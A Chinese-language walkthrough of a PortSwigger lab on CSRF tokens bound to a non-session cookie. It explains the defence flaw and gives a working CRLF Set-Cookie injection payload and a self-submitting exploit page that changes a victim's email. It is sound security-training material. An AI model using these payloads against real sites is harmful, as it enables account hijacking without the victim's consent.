PortSwigger靶场之CSRF where token is tied to non-session cookie通关秘籍

该靶场是CSRF 令牌与用户会话无关漏洞的一个变体是,某些应用程序确实将 CSRF 令牌与 Cookie 绑定,但与用于跟踪会话的 Cookie 并不相同。当应用程序使用两个不同的框架(一个用于会话处理,一个用于 CSRF 防护)且这两个框架未集成在一起时,很容易发生这种情况:

POST /email/change HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded Content-Length: 68

Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&

email=wiener@normal-user.com

这种情况更难利用,但仍然容易受到攻击。如果网站包含任何允许攻击者在受害者浏览器中设置 Cookie 的行为,那么就有可能发起攻击。攻击者可以使用自己的账户登录应用程序,获取有效的令牌和关联的 Cookie,利用 Cookie 设置行为将其 Cookie 放入受害者的浏览器中,并在 CSRF 攻击中将其令牌提供给受害者。

该靶场的核心漏洞在于 CSRF 令牌与独立的 csrfKey Cookie 绑定,而非与用户会话(session Cookie)强关联 ,且网站存在 Cookie 注入点,导致攻击者可通过注入自己的 csrfKey 来绕过防御。以下是详细解析:

一、核心理论:漏洞原理与攻击链

1. 正常的 CSRF 防御逻辑

安全的 CSRF 防御应满足:CSRF 令牌 = 加密(用户会话 ID + 随机值),即令牌与用户会话严格绑定,其他用户的令牌无法复用。

2. 本靶场的防御缺陷

  • 令牌绑定对象错误 :CSRF 令牌仅与独立的 csrfKey Cookie 绑定(而非用户 session Cookie);
  • csrfKey 可注入 :网站搜索功能存在漏洞,允许攻击者通过构造特殊请求,向受害者浏览器注入自己的 csrfKey Cookie;
  • 攻击链成立 :注入 csrfKey → 用自己的 CSRF 令牌构造恶意请求 → 受害者访问时,因携带攻击者的 csrfKey 而使令牌验证通过。

二、实践步骤:从漏洞验证到攻击实现

前置准备

  • 两个测试账户:wiener:petercarlos:montoya
  • 工具:Burp Suite、靶场漏洞服务器。

步骤 1:验证 CSRF 令牌与 csrfKey 的绑定关系

登录 wiener 账户 ,提交 "更改邮箱" 表单,用 Burp 捕获请求:

发送到 Repeater 测试

  • 仅修改 session 为无效值 → 请求被重定向
  • 恢复 session,仅修改 csrfKey 为无效值 → 请求被拒绝(提示 "CSRF 令牌无效");
  • 结论:csrf 令牌验证依赖 csrfKey,而非 session

跨账户验证

  • 用隐身窗口登录 carlos 账户,捕获其 "更改邮箱" 请求(含 carloscsrfKeycsrf 令牌);
  • 在 Repeater 中,将 carlos 请求的 csrfKeycsrf 替换为 wiener 的值 → 请求成功,证明 csrfKey 与用户会话无强关联(漏洞确认)。

wiener 账户中执行搜索 (如搜索关键词 test),用 Burp 捕获请求:

发送到 Repeater 测试注入

  • 修改搜索参数为 test%0d%0aSet-Cookie: csrfKey=my-injected-key; SameSite=None%0d%0a 是换行符,用于分割 HTTP 头);
  • 发送请求后,查看响应头 → 包含 Set-Cookie: csrfKey=my-injected-key,证明可通过搜索功能注入 Cookie。

核心逻辑

  1. <img> 标签加载含 csrfKey 注入的搜索 URL,强制受害者浏览器写入攻击者的 csrfKey
  2. 注入完成后,自动提交含攻击者 CSRF 令牌的 "更改邮箱" 表单。

恶意 HTML 代码(替换占位符)

复制代码
<!-- 1. 注入攻击者的csrfKey -->
<img src="https://0a1600bc0493bd8282006528000e00fb.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=gERvvcXswQdTrojNb9qG9eVx1lAhr37E%3b%20SameSite=None" 
     onerror="document.forms[0].submit()">  <!-- 加载失败时触发提交 -->

<!-- 2. 提交含攻击者令牌的表单 -->
<form method="POST" action="https://0a1600bc0493bd8282006528000e00fb.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="2@qq.com">
    <input type="hidden" name="csrf" value="tW0x8K4q7OcUkEsac7EeZeBFj6bRdwvt">  <!-- 攻击者的csrf令牌 -->
</form>
  • 替换 WIENER-CSRFKEYwiener 账户的 csrfKey Cookie 值;
  • 替换 WIENER-CSRF-TOKENwiener 账户 "更改邮箱" 请求中的 csrf 参数值;
  • 替换 email:未被占用的新邮箱(2@qq.com)。

步骤 4:上传并验证攻击效果

  1. 上传到漏洞服务器:将上述 HTML 粘贴到靶场漏洞服务器的 "Body" 中,点击 "Store";
  2. 自测验证
    • 用隐身窗口登录 carlos 账户(模拟受害者);
    • 访问漏洞服务器的 "View Exploit" 链接;
    • 检查 carlos 的账户邮箱是否已被修改 → 若成功,证明攻击有效。

步骤 5:发起最终攻击

  1. 确认 email 为未占用的新邮箱;
  2. 点击漏洞服务器的 "Deliver to Victim" → 靶场提示 "Lab solved" 即完成。

三、关键注意事项

  1. SameSite=None 必须添加 :确保注入的 csrfKey 在跨站请求中被发送;
  2. onerror 触发机制<img> 加载会失败(因 URL 无效),触发 onerror 执行表单提交,保证注入先于提交;
  3. 令牌与 csrfKey 匹配 :必须使用同一账户的 csrfKeycsrf 令牌(如均来自 wiener)。

通过以上步骤,利用 "令牌与非会话 Cookie 绑定" 和 "Cookie 注入" 的组合漏洞,即可成功完成 CSRF 攻击。

相关推荐
Leinwin4 小时前
OpenClaw 多 Agent 协作框架的并发限制与企业化规避方案痛点直击
java·运维·数据库
2401_865382504 小时前
信息化项目运维与运营的区别
运维·运营·信息化项目·政务信息化
漫随流水4 小时前
旅游推荐系统(view.py)
前端·数据库·python·旅游
漠北的哈士奇4 小时前
VMware Workstation导入ova文件时出现闪退但是没有报错信息
运维·vmware·虚拟机·闪退·ova
如意.7594 小时前
【Linux开发工具实战】Git、GDB与CGDB从入门到精通
linux·运维·git
运维小欣5 小时前
智能体选型实战指南
运维·人工智能
yy55275 小时前
Nginx 性能优化与监控
运维·nginx·性能优化
踩着两条虫5 小时前
VTJ.PRO 核心架构全公开!从设计稿到代码,揭秘AI智能体如何“听懂人话”
前端·vue.js·ai编程
爱吃土豆的马铃薯ㅤㅤㅤㅤㅤㅤㅤㅤㅤ6 小时前
Linux 查询某进程文件所在路径 命令
linux·运维·服务器
jzlhll1236 小时前
kotlin Flow first() last()总结
开发语言·前端·kotlin